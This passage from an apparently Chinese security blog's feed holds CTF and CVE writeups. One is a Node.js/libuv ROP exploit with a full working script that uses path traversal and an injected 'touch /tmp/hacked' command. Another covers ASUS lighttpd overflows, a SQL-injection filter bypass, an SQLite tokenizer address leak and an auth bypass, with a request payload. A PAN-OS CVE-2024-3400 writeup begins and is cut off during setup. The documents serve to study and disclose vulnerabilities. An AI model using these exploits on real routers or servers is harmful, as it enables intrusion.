p64(mov_rdi_rax_pop_rbp_jump_rdx)</span><br><span class="line">content += <span class="string">b&#x27;aaaaaaaa&#x27;</span> <span class="comment"># junk data</span></span><br><span class="line">content += p64(setegid_got) <span class="comment">#</span></span><br><span class="line">content += p64(mov_rax_qword_ptr_rsi_ret)</span><br><span class="line">content += p64(pop_rdx_ret)</span><br><span class="line">content += p64(<span class="number">0xb1f30</span>) <span class="comment"># setegid libc offset -&gt; system</span></span><br><span class="line">content += p64(sub_rax_rdx_ret)</span><br><span class="line">content += p64(<span class="number">0x0000000003adace7</span>) <span class="comment"># jmp rax</span></span><br><span class="line">content += <span class="string">b&#x27;a&#x27;</span>*<span class="number">0x100</span> + <span class="string">b&#x27;; touch /tmp/hacked ; &#x27;</span></span><br></pre></td></tr></table></figure><p>最后就可以执行任意命令了</p><p>完整 exploit</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> quote</span><br><span class="line"></span><br><span class="line"><span class="comment"># control rip</span></span><br><span class="line"><span class="comment">#content = p64(0x4261af - 0x60) + p64(0xb7d900) + b&#x27;aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">content = p64(<span class="number">0x4261af</span> - <span class="number">0x60</span>) + p64(<span class="number">0xb7d900</span>) + <span class="string">b&#x27;aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">pop_rdi_ret = <span class="number">0x0000000000427748</span></span><br><span class="line">pop_rsi_ret = <span class="number">0x0000000000433d27</span></span><br><span class="line">pop_rdx_ret = <span class="number">0x0000000001634a57</span></span><br><span class="line">sub_rax_rdx_ret = <span class="number">0x00000000017e7432</span></span><br><span class="line">mov_rax_qword_ptr_rsi_ret = <span class="number">0x0000000002176b34</span></span><br><span class="line">mov_rdi_rax_pop_rbp_jmp_rdx = <span class="number">0x000000000190ade9</span></span><br><span class="line">mov_rbp_rsp_pop_rbp_ret = <span class="number">0x0000000001b1da5d</span></span><br><span class="line"></span><br><span class="line">add_rax_rdx_ret = <span class="number">0x0000000001097367</span></span><br><span class="line">jump_rsp = <span class="number">0x0000000000430657</span></span><br><span class="line">mov_rdi_rax_pop_rbp_jump_rdx = <span class="number">0x000000000190ade9</span> <span class="comment"># mov rdi, rax ; pop rbp ; jmp rdx</span></span><br><span class="line">mprotect_plt = <span class="number">0xa98eb0</span></span><br><span class="line">setegid_got = <span class="number">0x51f3f08</span></span><br><span class="line"></span><br><span class="line">content  = p64(<span class="number">0x4261af</span> - <span class="number">0x60</span>) + p64(<span class="number">0xb7d900</span>)</span><br><span class="line">content += p64(pop_rdx_ret)</span><br><span class="line">content += p64(<span class="number">0x100</span>)</span><br><span class="line">content += p64(add_rax_rdx_ret)</span><br><span class="line">content += p64(pop_rdx_ret)</span><br><span class="line">content += p64(pop_rsi_ret) <span class="comment"># next gadget</span></span><br><span class="line">content += p64(mov_rdi_rax_pop_rbp_jump_rdx)</span><br><span class="line">content += <span class="string">b&#x27;aaaaaaaa&#x27;</span> <span class="comment"># junk data</span></span><br><span class="line">content += p64(setegid_got) <span class="comment">#</span></span><br><span class="line">content += p64(mov_rax_qword_ptr_rsi_ret)</span><br><span class="line">content += p64(pop_rdx_ret)</span><br><span class="line">content += p64(<span class="number">0xb1f30</span>) <span class="comment"># setegid libc offset -&gt; system</span></span><br><span class="line">content += p64(sub_rax_rdx_ret)</span><br><span class="line">content += p64(<span class="number">0x0000000003adace7</span>) <span class="comment"># jmp rax</span></span><br><span class="line">content += <span class="string">b&#x27;a&#x27;</span>*<span class="number">0x100</span> + <span class="string">b&#x27;; touch /tmp/hacked ; &#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">a = content.decode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;content: <span class="subst">&#123;content&#125;</span>&quot;</span>)</span><br><span class="line">data = &#123;<span class="string">&#x27;filename&#x27;</span>:<span class="string">&quot;../../../../proc/8/fd/11&quot;</span>,<span class="string">&quot;content&quot;</span>:content.decode(<span class="string">&#x27;utf-8&#x27;</span>)&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">#print(json.dumps(data))</span></span><br><span class="line">resp = requests.post(<span class="string">&quot;http://localhost:3000/upload&quot;</span>,data = json.dumps(data),headers = &#123;<span class="string">&quot;Content-Type&quot;</span>:<span class="string">&quot;application/json&quot;</span>&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">#data =  dump.dump_all(resp.reuqest)</span></span><br><span class="line"><span class="comment">#print(resp.text)</span></span><br></pre></td></tr></table></figure><h2 id="Reference-link"><a href="#Reference-link" class="headerlink" title="Reference link"></a>Reference link</h2><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style: none; padding-left: 0; margin-left: 40px"><li id="fn:1"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">1.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/<a href="#fnref:1" rev="footnote"> ↩</a></span></li><li id="fn:2"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">2.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://github.com/libuv/libuv/blob/fbe2d85bd5a5c370a8cacea92b3bdfbd9f98a530/src/unix/signal.c#L433<a href="#fnref:2" rev="footnote"> ↩</a></span></li></ol></div></div></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="Writeup" scheme="https://bestwing.me/categories/Writeup/"/>
    
    
    <category term="nodejs" scheme="https://bestwing.me/tags/nodejs/"/>
    
    <category term="libuv" scheme="https://bestwing.me/tags/libuv/"/>
    
  </entry>
  
  <entry>
    <title>Real World CTF 6th Router4 writeup</title>
    <link href="https://bestwing.me/RWCTF-6th-Router4-Writeup.html"/>
    <id>https://bestwing.me/RWCTF-6th-Router4-Writeup.html</id>
    <published>2024-05-29T16:00:00.000Z</published>
    <updated>2026-02-11T09:23:12.201Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<p>…</p><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这次 RWCTF 就准备了一个题目: 「Router4」, 一共有三个队伍在比赛期间做了出来，题目的附件和题目介绍可以从<a href="https://github.com/chaitin/Real-World-CTF-6th-Challenges/tree/main">Real-World-CTF-6th-Challenges</a><sup id="fnref:1"><a href="#fn:1" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="Router challenge attachment https://github.com/chaitin/Real-World-CTF-6th-Challenges/tree/main/Router4">[1]</span></a></sup>这个仓库看到 。</p><p>题目的场景就是一个 ASUS 路由器开放了 wan 的服务后（ lighttpd）， 该服务会默认监听在 443 端口上。题目环境是以 ASUS RT-AC68U的固件版本为 3.0.0.4.386.51665为基底进行模拟的。</p><p>在比赛结束后， 我将涉及的漏洞上报给了 ASUS 官方，然后获得了两个 CVE 编号，分别是CVE-2024-3079和CVE-2024-3080。同时也将部分非预期的情况告诉选手， 让选手也提前将非预期的漏洞上报给官方。</p><h2 id="漏洞细节"><a href="#漏洞细节" class="headerlink" title="漏洞细节"></a>漏洞细节</h2><h3 id="Stack-Overflow"><a href="#Stack-Overflow" class="headerlink" title="Stack Overflow"></a>Stack Overflow</h3><p>在 ASUS 的 lighttpd 上其实是存在多个缓冲区溢出漏洞的， 这里列举几个比赛前和比赛后发现的 。</p><ul><li><code>lighttpd</code> cookie 处栈溢出， 直接通过 <code>strncpy</code> 拼接 cookie的值， 其中 <code>tmp-used</code> 就是 cookie 值的长度</li></ul><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-06-03-61f3efe08492e4b4f343ed6cd8e71054-8cb378.png" title="image-20240531144331569" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-06-03-61f3efe08492e4b4f343ed6cd8e71054-8cb378.png" alt="image-20240531144331569"></a></p><ul><li><code>mod_aicloud_auth.so</code> 解析 uri 处栈溢出， 直接从 <code>?</code> 后取字符串，然后也是通过 <code>strncpy</code>拼接字符串， 长度可控</li></ul><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-06-01-80096b20b85a2164967f0159dd57ec4d-271b96.png" title="image-20240531145941750" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-06-01-80096b20b85a2164967f0159dd57ec4d-271b96.png" alt="image-20240531145941750"></a></p><ul><li><code>replace_str</code> 函数栈溢出</li></ul><p>replace_str 函数中没有检查长度， 直接通过 sprintf 写入 buffer 中， 因此可以造成栈溢出</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">char</span> *<span class="title">replace_str</span><span class="params">(<span class="keyword">char</span> *st, <span class="keyword">char</span> *orig, <span class="keyword">char</span> *repl, <span class="keyword">char</span>* buff)</span> </span>&#123;  </span><br><span class="line"><span class="keyword">char</span> *ch;</span><br><span class="line"><span class="keyword">if</span> (!(ch = <span class="built_in">strstr</span>(st, orig)))</span><br><span class="line"><span class="keyword">return</span> st;</span><br><span class="line"><span class="built_in">strncpy</span>(buff, st, ch-st);  </span><br><span class="line">buff[ch-st] = <span class="number">0</span>;</span><br><span class="line"><span class="built_in">sprintf</span>(buff+(ch-st), <span class="string">&quot;%s%s&quot;</span>, repl, ch+<span class="built_in">strlen</span>(orig));  </span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> buff;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>通过查看调用链， 可以看到 <code>change_webdav_file_path</code> 调用了 <code>replace_str</code> 函数</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-12-08-091f70ed61dddfc929181d69335b5d90-7396c2.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-12-08-091f70ed61dddfc929181d69335b5d90-7396c2.png" alt="image.png"></a></p><p>从 <code>mod_webdav.so</code> 的二进制看就是， <code>sub_7e60</code> 函数传入了 <code>buffer</code> 这个参数， </p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-eb22c3bb9c6720d72ffe3bec7bfa6e12-29e688.png" title="image-20240531154324688" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-eb22c3bb9c6720d72ffe3bec7bfa6e12-29e688.png" alt="image-20240531154324688"></a></p><p>然后在 <code>sub_7e60</code> 函数中调用了 <code>replace_str</code> 函数，我们已经知道 <code>replace_str</code> 函数是直接通过 <code>sprintf</code>拼接字符串，没有检查， 因此存在栈溢出</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-a2118c221cbbe92c5c4805ed62c1f388-024d59.png" title="image-20240531154439915" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-a2118c221cbbe92c5c4805ed62c1f388-024d59.png" alt="image-20240531154439915"></a></p><h3 id="Infor-Leak"><a href="#Infor-Leak" class="headerlink" title="Infor Leak"></a>Infor Leak</h3><p>其实预期解应该是选手还需要通过某个漏洞在实现泄漏  libc 信息， 但是实际上发现解决题目的其中两个队伍 BlueWater和 Kalmarunionen都用了爆破 libc的方法 （因为32位， 只有4096的随机概率)， 失误了 orz </p><p>在固件的逆向和代码审计的过程中，我们发现一个 sql 注入的存在，后面在上报漏洞给官方的时候才知道这个漏洞其实是之前就有人上报过了，编号为 <a href="https://www.cve.org/CVERecord?id=CVE-2023-35720">CVE-2023-35720</a><sup id="fnref:2"><a href="#fn:2" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="CVE-2023-35720 lighttpd mod_webdav.so SQL Injection Information Disclosure Vulnerabilityhttps://www.zerodayinitiative.com/advisories/ZDI-23-1166/">[2]</span></a></sup></p><p>在 mod_webdav.so 中， 程序会从 HTTP 消息的 Header根据关键词取值， </p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-38feff175e9b04cc36d723a24bd02346-0f49e1.png" title="image-20240531135012681" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-38feff175e9b04cc36d723a24bd02346-0f49e1.png" alt="image-20240531135012681"></a></p><p>例如从 header 中取出 <code>Keyword</code> ， 之后在 2186 行处有一次判断值是否合法的代码， 如果值不合法则HTTP返回 207</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-a51921dc15c8c5894755d96075a3dc8f-1447b7.png" title="image-20240531135146493" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-a51921dc15c8c5894755d96075a3dc8f-1447b7.png" alt="image-20240531135146493"></a></p><p>这里判断了是否为空、是否存在 <code>&#39;</code> 单引号， 如果合法后续会拼接到 sql 语句中执行。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-50427acb752f782bf7e88baeb0d9841b-89abea.png" title="image-20240531135333100" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-50427acb752f782bf7e88baeb0d9841b-89abea.png" alt="image-20240531135333100"></a></p><p>这里我们注意到一个地方， 在拼接之前会进行一次 urldecode， 此时我们显然很容易就会发现问题所在了， 我们可以通过 url 编码来绕过程序对 <code>&#39;</code>单引号的检查，在后续拼接 sql 语句来达到 sql 注入的效果。</p><p>另外一个问题来了， 我们这个标题不是说信息泄漏吗？sql注入怎么达到信息泄漏呢？该组件sql数据库使用的是 sqlite3，在 sqlite3 中有一个可以用来地址泄漏的方法,  在2017年长亭的 <a href="https://blog.chaitin.cn/abusing_fts3_tokenizer/">特性还是漏洞？滥用 SQLite 分词器</a>) <sup id="fnref:3"><a href="#fn:3" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="特性还是漏洞？滥用 SQLite 分词器 https://blog.chaitin.cn/abusing_fts3_tokenizer/">[3]</span></a></sup>文章中有详细说明。</p><p>我们直接诶引用下原文说明下原理，SQLite3 中注册自定义分词器用到的函数是 <a href="https://sqlite.org/fts3.html#section_8_1">fts3_tokenizer</a>，实现代码位于 ext/fts3/fts3_tokenizer.c 的 <code>scalarFunc</code> 函数。支持两种调用方式：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SELECT fts3_tokenizer(&lt;tokenizer-name&gt;);</span><br><span class="line">SELECT fts3_tokenizer(&lt;tokenizer-name&gt;, &lt;sqlite3_tokenizer_module ptr&gt;);</span><br></pre></td></tr></table></figure><p>当只提供一个参数的时候，该函数返回指定名字的分词器的 <code>sqlite3_tokenizer_module</code> 结构体指针，以 blob 类型表示。例如在 sqlite3 控制台中输入：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlite<span class="operator">&gt;</span> <span class="keyword">select</span> hex(fts3_tokenizer(<span class="string">&#x27;simple&#x27;</span>));</span><br></pre></td></tr></table></figure><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-066ac8151cc38c196be3cf4eaa763c6d-053f83.png" title="image-20240531141122848" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-066ac8151cc38c196be3cf4eaa763c6d-053f83.png" alt="image-20240531141122848"></a></p><p>将会返回一个以大端序 16 进制表示的内存地址，可以用来检查特定名称的分词器是否已注册。这个指针指向一个 <code>sqlite3_tokenizer_module</code> 结构体。</p><p>函数的第二个可选参数用以注册新的分词器，只要执行如下 SQL 查询，即可注册一个名为 <code>mytokenizer</code> 的分词器：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlite<span class="operator">&gt;</span> <span class="keyword">select</span> fts3_tokenizer(<span class="string">&#x27;mytokenizer&#x27;</span>, x<span class="string">&#x27;0xdeadbeefdeadbeef&#x27;</span>);</span><br></pre></td></tr></table></figure><p>根据文章 <code>2.1 基地址泄漏</code> 小节中说明的，只提供一个参数执行 <code>select fts3_tokenizer(name)</code>，如果 name 是一个已经注册过的分词器，将会返回这个分词器对应的内存地址。在 <a href="https://github.com/mackyle/sqlite/blob/c37ab9dfdd94a60a3b9051d2ef54ea766c5d227a/ext/fts3/fts3.c#L5876-L5877">fts3.c</a> 中可以看到 SQLite3 默认注册了内置分词器 <code>simple</code> 和 <code>porter</code>：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>( sqlite3Fts2HashInsert(pHash, <span class="string">&quot;simple&quot;</span>, <span class="number">7</span>, (<span class="keyword">void</span> *)pSimple)</span><br><span class="line"> || sqlite3Fts2HashInsert(pHash, <span class="string">&quot;porter&quot;</span>, <span class="number">7</span>, (<span class="keyword">void</span> *)pPorter)</span><br></pre></td></tr></table></figure><p>以 simple 分词器为例，其注册的指针指向静态区的 <code>simpleTokenizerModule</code>。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">const</span> sqlite3_tokenizer_module simpleTokenizerModule = &#123;</span><br><span class="line">  <span class="number">0</span>,</span><br><span class="line">  simpleCreate,</span><br><span class="line">  simpleDestroy,</span><br><span class="line">  simpleOpen,</span><br><span class="line">  simpleClose,</span><br><span class="line">  simpleNext,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>通过获得这个指针，即可通过简单的计算获得 libsqlite3.so 的基地址，从而绕过 ASLR。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-551b9d1c4f4eb3f6d49a5a284f44c474-42b33b.png" title="image-20240531141746938" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-551b9d1c4f4eb3f6d49a5a284f44c474-42b33b.png" alt="image-20240531141746938"></a></p><p>因此接合上面的sql注入， 我们就可以拿到泄漏的地址</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-2c6da9782b31979b378b462339dd7110-f3a2b2.png" title="image-20240531142504487" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-2c6da9782b31979b378b462339dd7110-f3a2b2.png" alt="image-20240531142504487"></a></p><h3 id="认证绕过"><a href="#认证绕过" class="headerlink" title="认证绕过"></a>认证绕过</h3><p>在检查路由的时候， 代码如下</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-0769d452373682f774e0a2ffcbe4f91e-9e53e6.png" title="image-20240531142102397" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-05-31-0769d452373682f774e0a2ffcbe4f91e-9e53e6.png" alt="image-20240531142102397"></a></p><p>检查路由的时候判断是不是 <code>/smb/</code> 但是忽略了， 如果是 <code>/smb</code>  则可以绕过授权</p><h2 id="一个好玩的非预期"><a href="#一个好玩的非预期" class="headerlink" title="一个好玩的非预期"></a>一个好玩的非预期</h2><p>前文提到了这个题目有三个队伍做出来了， 其中<strong>BlueWater</strong>和 <strong>Kalmarunionen</strong>是通过栈溢出 + 爆破 libc 解决题目的， 另外一个队伍用了一个比较有趣的非预期， 这个队伍就是 <strong>Friendly Maltese Citizens</strong></p><p>前面提到了该服务存在 sql 注入漏洞，他们发现 smb 的 <code>GETMUSICCLASSIFICATION</code> 方法存在 <code>get_album_cover_image</code>函数可以用来加载文件内容并且泄漏。于是他们用 sql 注入将 flag 的路径写到 <code>album</code>表中， 然后直接通过下面的方法预览</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">await fetch(&quot;&#x2F;RWCTF&quot;, &#123;</span><br><span class="line">  &quot;headers&quot;: &#123;</span><br><span class="line">    &quot;classify&quot;: &quot;album&quot;,</span><br><span class="line">  &#125;,</span><br><span class="line">  &quot;body&quot;: &quot;&lt;?xml version&#x3D;\&quot;1.0\&quot; encoding&#x3D;\&quot;UTF-8\&quot; standalone&#x3D;\&quot;yes\&quot; ?&gt;&lt;D:propfind xmlns:D&#x3D;\&quot;DAV:\&quot;&gt;&lt;D:prop&gt;&lt;D:getlastmodified&#x2F;&gt;&lt;D:getcontentlength&#x2F;&gt;&lt;D:getcontenttype&#x2F;&gt;&lt;D:getmatadata&#x2F;&gt;&lt;&#x2F;D:prop&gt;&lt;&#x2F;D:propfind&gt;&quot;,</span><br><span class="line">  &quot;method&quot;: &quot;GETMUSICCLASSIFICATION&quot;</span><br><span class="line">&#125;).then(a &#x3D;&gt; a.text())</span><br></pre></td></tr></table></figure><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style: none; padding-left: 0; margin-left: 40px"><li id="fn:1"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">1.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">Router challenge attachment https://github.com/chaitin/Real-World-CTF-6th-Challenges/tree/main/Router4<a href="#fnref:1" rev="footnote"> ↩</a></span></li><li id="fn:2"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">2.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">CVE-2023-35720 lighttpd mod_webdav.so SQL Injection Information Disclosure Vulnerabilityhttps://www.zerodayinitiative.com/advisories/ZDI-23-1166/<a href="#fnref:2" rev="footnote"> ↩</a></span></li><li id="fn:3"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">3.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">特性还是漏洞？滥用 SQLite 分词器 https://blog.chaitin.cn/abusing_fts3_tokenizer/<a href="#fnref:3" rev="footnote"> ↩</a></span></li></ol></div></div></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="Writeup" scheme="https://bestwing.me/categories/Writeup/"/>
    
    
    <category term="asus" scheme="https://bestwing.me/tags/asus/"/>
    
    <category term="cve-2024-3079" scheme="https://bestwing.me/tags/cve-2024-3079/"/>
    
    <category term="cve-2024-3080" scheme="https://bestwing.me/tags/cve-2024-3080/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2024-3400 Palo Alto Networks PAN-OS命令注入漏洞</title>
    <link href="https://bestwing.me/PanOS-CVE-2024-3400-command-inject.html"/>
    <id>https://bestwing.me/PanOS-CVE-2024-3400-command-inject.html</id>
    <published>2024-04-18T03:57:51.000Z</published>
    <updated>2026-02-11T09:23:12.198Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<p>…</p><h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL; DR"></a>TL; DR</h2><p>4月12日的是看到 paloaltonetworks 有一个<a href="https://security.paloaltonetworks.com/CVE-2024-3400">安全公告</a><sup id="fnref:1"><a href="#fn:1" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="CVE-2024-3400 https://security.paloaltonetworks.com/CVE-2024-3400">[1]</span></a></sup>, CVE编号是 CVE-2024-3400， 漏洞是一个命令注入，影响的版本如下：</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-170fb303df099bbd0a073e98cbd42d15-0a42e9.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-170fb303df099bbd0a073e98cbd42d15-0a42e9.png" alt="image.png"></a></p><p>然后在复现的过程中发现 <a href="https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/">watchTowr Labs</a><sup id="fnref:2"><a href="#fn:2" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400 https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/">[2]</span></a></sup> 已经发了他们的分析， 那就顺着他们的分析学习下这洞吧， 这里提下我的复现版本为  10.2.9</p><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>由于漏洞公告<sup id="fnref:1"><a href="#fn:1" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="CVE-2024-3400 https://security.paloaltonetworks.com/CVE-2024-3400">[1]</span></a></sup>提到， 该漏洞的影响需要 PAN-OS 配置 GlobalProtect portal  或者 GlobalProtect gateway， 所以我们需要先完整的搭建下我们的环境。</p><p>简单说下配置的流程， 我这里的配置是参考 QWB S6 Final Pan 这个题目的环境配置的（ 亏我还能找到这个题目的虚拟机）， 另外提一句当时强网杯利用的 CVE-2021-3064  这个漏洞还是蛮有意思的。</p><p>首先，我的虚拟机有三个网卡， </p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-816a7be51e2305a423ca831720fbcb40-748b56.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-816a7be51e2305a423ca831720fbcb40-748b56.png" alt="image.png"></a></p><p>网卡1是管理口， 网卡2准备用来做门户和网关的网段 ，我这里用的网段是 192.168.100.1/24 。 登陆到管理口的后台后，依次设置</p><ul><li><code>NETWORK-&gt;接口</code> 设置以太网接口， 接口类型设置为 3层， 设置 IPV4 的静态 IP</li></ul><p><a 